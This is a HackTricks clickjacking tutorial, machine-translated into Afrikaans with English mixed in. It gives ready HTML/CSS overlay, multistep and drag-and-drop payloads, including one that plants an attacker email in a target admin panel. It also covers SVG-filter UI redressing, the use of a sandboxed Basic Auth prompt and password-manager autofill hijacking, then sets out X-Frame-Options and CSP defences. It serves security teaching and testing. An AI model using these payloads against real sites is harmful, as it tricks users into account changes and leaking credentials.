Clickjacking

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Wat is Clickjacking

In ’n clickjacking-aanval word ’n gebruiker mislei om op ’n element op ’n webblad te klik wat óf on sigbaar is óf as ’n ander element vermom is. Hierdie manipulasie kan lei tot onbedoelde gevolge vir die gebruiker, soos die aflaai van malware, omleiding na kwaadwillige webblaaie, verstrekking van credentials of sensitiewe inligting, geldoordragte, of die aanlyn aankoop van produkte.

Truuk om vorms vooraf in te vul

Soms is dit moontlik om die waardes van velde in ’n vorm vooraf te vul deur GET parameters te gebruik wanneer ’n bladsy gelaai word. ’n aanvaller kan hierdie gedrag misbruik om ’n vorm met arbitrêre data te vul en die clickjacking payload te stuur sodat die gebruiker op die knoppie Submit druk.

Vul vorm met Drag&Drop

As jy die gebruiker nodig het om ’n vorm in te vul maar jy wil hom nie direk vra om sekere spesifieke inligting (soos die email en/of ’n spesifieke password wat jy ken) te skryf nie, kan jy hom net vra om iets te Drag&Drop wat jou beheerste data sal invul, soos in this example.

Basiese Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Meertraps Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

If you have identified an XSS attack that requires a user to click on some element to trigger the XSS and the page is vulnerable to clickjacking, you could abuse it to trick the user into clicking the button/link.
Example:
Jy het ’n self XSS gevind in sekere private rekeningbesonderhede (besonderhede wat only you can set and read). Die bladsy met die form om hierdie besonderhede te stel is vulnerable to Clickjacking en jy kan die form prepopulate met die GET parameters.
’n Aanvaller kan ’n Clickjacking attack teen daardie bladsy voorberei deur die form te prepopulate met die XSS payload en die user te mislei om die Submit van die form. Dus, when the form is submitted en die waardes verander is, sal die user die XSS uitvoer.

DoubleClickjacking

Firstly explained in this post, hierdie tegniek vra die victim om dubbel te klik op ’n knop op ’n custom page wat in ’n spesifieke posisie geplaas is, en gebruik die timing-verschille tussen mousedown en onclick events om die victim page gedurende die dubbelklik te laai sodat die victim actually clicks a legit button in the victim page.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

Hierdie tegniek maak dit moontlik om die user te mislei om op een plek in die victim page te klik en sodoende enige beskerming teen clickjacking te omseil. Daarom moet die attacker find sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.

SVG Filters / Cross-Origin Iframe UI Redressing

Modern Chromium/WebKit/Gecko builds let CSS filter:url(#id) be applied to cross-origin iframes. The iframe’s rasterized pixels are exposed to the SVG filter graph as SourceGraphic, so primitives such as feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. can arbitrarily warp the victim UI before the user sees it, even though the attacker never touches the DOM. A simple Liquid-Glass style filter looks like:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Nuttige primitives: feImage laai aanvaller bitmaps (e.g., overlays, displacement maps); feFlood skep konstant-kleur matte; feOffset/feGaussianBlur verfyn hoogligte; feDisplacementMap breek/vervorm teks; feComposite operator="arithmetic" implementeer arbitrêre per-kanaal wiskunde (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), wat genoeg is vir kontrasverbetering, maskering, en AND/OR-operasies; feTile sny en repliseer pixel probes; feMorphology laat strepe groei/krimp; feColorMatrix skuif luma in alpha om presiese maskers te bou.

Vervorming van geheime tot CAPTCHA-styl opdragte

As ’n framable endpoint geheime vertoon (tokens, reset codes, API keys), kan die aanvaller hulle so vervorm dat dit soos ’n CAPTCHA lyk en handmatige transkripsie afdwing:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Die vervormde pixels mislei die gebruiker om die captcha binne die aanvaller-beheerde <input> te “oplos” waarvan die pattern die slagoffer se regte geheim afdwing.

Herkontekstualisering van slagofferinsette

Filters kan chirurgies placeholder-/valideringstekst verwyder terwyl gebruiker se toetsaanslae behou word. Een werkvloei:

  1. feComposite operator="arithmetic" k2≈4 verhoog die helderheid sodat grys hulptekst na wit versadig.
  2. feTile beperk die werkarea tot die inset-reghoek.
  3. feMorphology operator="erode" verdik die donker karakters wat deur die slagoffer getik is en stoor dit via result="thick".
  4. feFlood skep ’n wit plaat, feBlend mode="difference" met thick, en ’n tweede feComposite k2≈100 verander dit in ’n skerp luma matte.
  5. feColorMatrix skuif daardie luma na alpha, en feComposite in="SourceGraphic" operator="in" hou slegs deur gebruiker ingevoerde karakters.
  6. Nog ’n feBlend in2="white" plus ’n dun crop gee ’n skoon teksboks, waarna die aanvaller hul eie HTML-etikette (bv. “Voer jou e-pos in”) plaas terwyl die verborge iframe steeds die slagoffer-origin se wagwoordbeleid afdwing.

Safari sukkel met feTile; dieselfde effek kan gereproduseer word met ruimtelike matte wat uit feFlood + feColorMatrix + feComposite opgebou is vir WebKit-only payloads.

Pixel-sondes, logika en toestandmasjiene

Deur ’n 2–4 px streek met feTile uit te snoei en dit na 100% van die viewport te herhaal, verander die aanvaller die bemonsterde kleur in ’n volraamstruktuur wat gedrempel kan word tot ’n boolean-masker:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Vir arbitrêre kleure produseer ’n feFlood verwysing (bv. #0B57D0) plus feBlend mode="difference" en ’n ander rekenkundige composite (k2≈100, k4 as toleransie) wit slegs wanneer die gesampelde pixel met die teiken-skakering ooreenstem. Om hierdie maskers in feComposite met afgestemde k1..k4 te voer, lewer logiese hekke: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via blending teen wit. Ketting van hekke bou ’n full adder binne die filter-grafiek, wat bewys dat die pyplyn funksioneel volledig is.

Aanvallers kan dus UI-status lees sonder JavaScript. Voorbeeld booleane uit ’n modal workflow:

  • D (dialog visible): peil ’n verduisterde hoek en toets teen wit.
  • L (dialog loaded): peil die koördinate waar die knoppie verskyn sodra dit gereed is.
  • C (checkbox checked): vergelyk die checkbox-pixel met die aktiewe blou #0B57D0.
  • R (red success/failure banner): gebruik feMorphology en rooi drempels binne die banner-reghoek.

Elke gedetecteerde toestand beheer ’n ander overlay-bitmap ingesluit via feImage xlink:href="data:...". Maskering van daardie bitmaps met D, L, C, R hou die overlays gesinchroniseer met die werklike dialoog en lei die slagoffer deur multi-stap werkvloei (wagwoordherstellings, goedkeuringe, vernietigende bevestigings) sonder om ooit die DOM bloot te stel.

Sandboxed iframe Basic Auth dialog (no allow-popups)

’n gesandboxde iframe sonder allow-popups kan steeds ’n deur die blaaier beheerde HTTP Basic Authentication modal oppervlak wanneer ’n laai 401 met WWW-Authenticate teruggee. Die dialoog word geskep deur die blaaier se netwerk-/auth-laag (nie die JS alert/prompt/confirm nie), dus onderdruk die popup-beperkings in die sandbox dit nie. Indien jy die iframe kan scripteer (bv. sandbox="allow-scripts") kan jy dit na enige endpoint navigeer wat ’n Basic Auth-uitdaging uitstuur:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Sodra die respons aankom, vra die blaaier vir inlogbesonderhede selfs al is popups verbied. Deur ’n vertroude oorsprong te raam met hierdie truuk maak dit UI redress/phishing moontlik: onverwagte modal prompts binne ’n “sandboxed” widget kan gebruikers verwar of password managers veroorsaak om gestoorde inlogbesonderhede aan te bied.

Browser extensions: DOM-based autofill clickjacking

Behalwe om slagoffer-bladsye te ifram, kan aanvallers browser extension UI-elemente teiken wat in die bladsy ingespuit word. Password managers vertoon autofill dropdowns naby gefokusde invoere; deur ’n deur-aanvaller-beheerde veld te fokus en die extension se dropdown te verberg/obskureer (opacity/overlay/top-layer truuks), kan ’n gedwonge gebruikersklik ’n gestoor item kies en sensitiewe data in deur-aanvaller-beheerde invoere invul. Hierdie variant benodig geen iframe-blootstelling nie en werk volledig via DOM/CSS-manipulasie.

Strategieë om Clickjacking te versag

Kliëntkantverdediging

Skripte wat aan die kliëntkant uitgevoer word kan maatreëls neem om Clickjacking te voorkom:

  • Verseker dat die toepassingvenster die hoof- of top-venster is.
  • Maak alle rame sigbaar.
  • Voorkom klikke op onsigbare rame.
  • Spoor moontlike Clickjacking-pogings op en waarsku gebruikers.

Echter, hierdie frame-busting scripts kan omseil word:

  • Blaaiers se Sekuriteitsinstellings: Sommige blaaiers kan hierdie skripte blokkeer op grond van hul sekuriteitsinstellings of gebrek aan JavaScript-ondersteuning.
  • HTML5 iframe sandbox Attribute: ’n Aanvaller kan frame buster-skripte neutraliseer deur die sandbox attribuut te stel met die waardes allow-forms of allow-scripts sonder allow-top-navigation. Dit keer die iframe uit om te kontroleer of dit die top-venster is, e.g.
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Die allow-forms en allow-scripts waardes stel aksies binne die iframe in staat terwyl topvlak-navigasie gedeaktiveer word. Om die beoogde funksionaliteit van die geteikende webwerf te verseker, mag bykomende permissies soos allow-same-origin en allow-modals nodig wees, afhangende van die tipe aanval. Blaaier-konsoleboodskappe kan aandui watter permissies toegelaat moet word.

Bedienerkant Verdedigings

X-Frame-Options

Die X-Frame-Options HTTP response header vertel blaaiers of dit legitiem is om ’n bladsy in ’n <frame> of <iframe> te render, en help om Clickjacking te voorkom:

  • X-Frame-Options: deny - Geen domein kan die inhoud in ’n raam plaas.
  • X-Frame-Options: sameorigin - Net die huidige site kan die inhoud in ’n raam plaas.
  • X-Frame-Options: allow-from https://trusted.com - Slegs die gespesifiseerde ‘uri’ kan die bladsy in ’n raam plaas.
  • Let op die beperkings: as die blaaier hierdie direktief nie ondersteun nie, werk dit moontlik nie. Sommige blaaiers verkies die CSP frame-ancestors direktief.

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors directive in CSP is die aanbevole metode vir Clickjacking-beskerming:

  • frame-ancestors 'none' - Soortgelyk aan X-Frame-Options: deny.
  • frame-ancestors 'self' - Soortgelyk aan X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Soortgelyk aan X-Frame-Options: allow-from.

Byvoorbeeld, die volgende CSP laat slegs framing vanaf dieselfde domein toe:

Content-Security-Policy: frame-ancestors 'self';

Verder kan meer besonderhede en komplekse voorbeelde gevind word in die frame-ancestors CSP documentation en Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) is ’n sekuriteitsmaatreël wat help om Clickjacking en ander code-inspuitingaanvalle te voorkom deur te spesifiseer watter bronne die blaaier mag toelaat om inhoud te laai.

frame-src Direktief

  • Definieer geldige bronne vir frames.
  • Meer spesifiek as die default-src direktief.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Hierdie beleid laat frames toe vanaf dieselfde oorsprong (self) en https://trusted-website.com.

child-src Direktief

  • Ingevoer in CSP vlak 2 om geldige bronne vir web workers en frames te spesifiseer.
  • Dien as ‘n fallback’ vir frame-src en worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Hierdie beleid laat frames en workers van dieselfde oorsprong (self) en https://trusted-website.com toe.

Gebruiknotas:

  • Veroudering: child-src word uitgefaseer ten gunste van frame-src en worker-src.
  • Terugvalgedrag: As frame-src afwesig is, word child-src as ’n terugval vir frames gebruik. As albei afwesig is, word default-src gebruik.
  • Strikte brondefinisie: Sluit slegs vertroude bronne in die riglyne in om uitbuiting te verhoed.

JavaScript Raam-Breek Skripte

Alhoewel dit nie heeltemal feilloos is nie, kan JavaScript-gebaseerde raam-breekskripte gebruik word om te verhoed dat ’n webbladsy in ’n raam geplaas word. Voorbeeld:

if (top !== self) {
top.location = self.location
}

Gebruik van Anti-CSRF Tokens

  • Token Validation: Gebruik anti-CSRF tokens in webtoepassings om te verseker dat versoeke wat die toestand verander doelbewus deur die gebruiker gemaak word en nie deur ’n Clickjacked bladsy nie.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks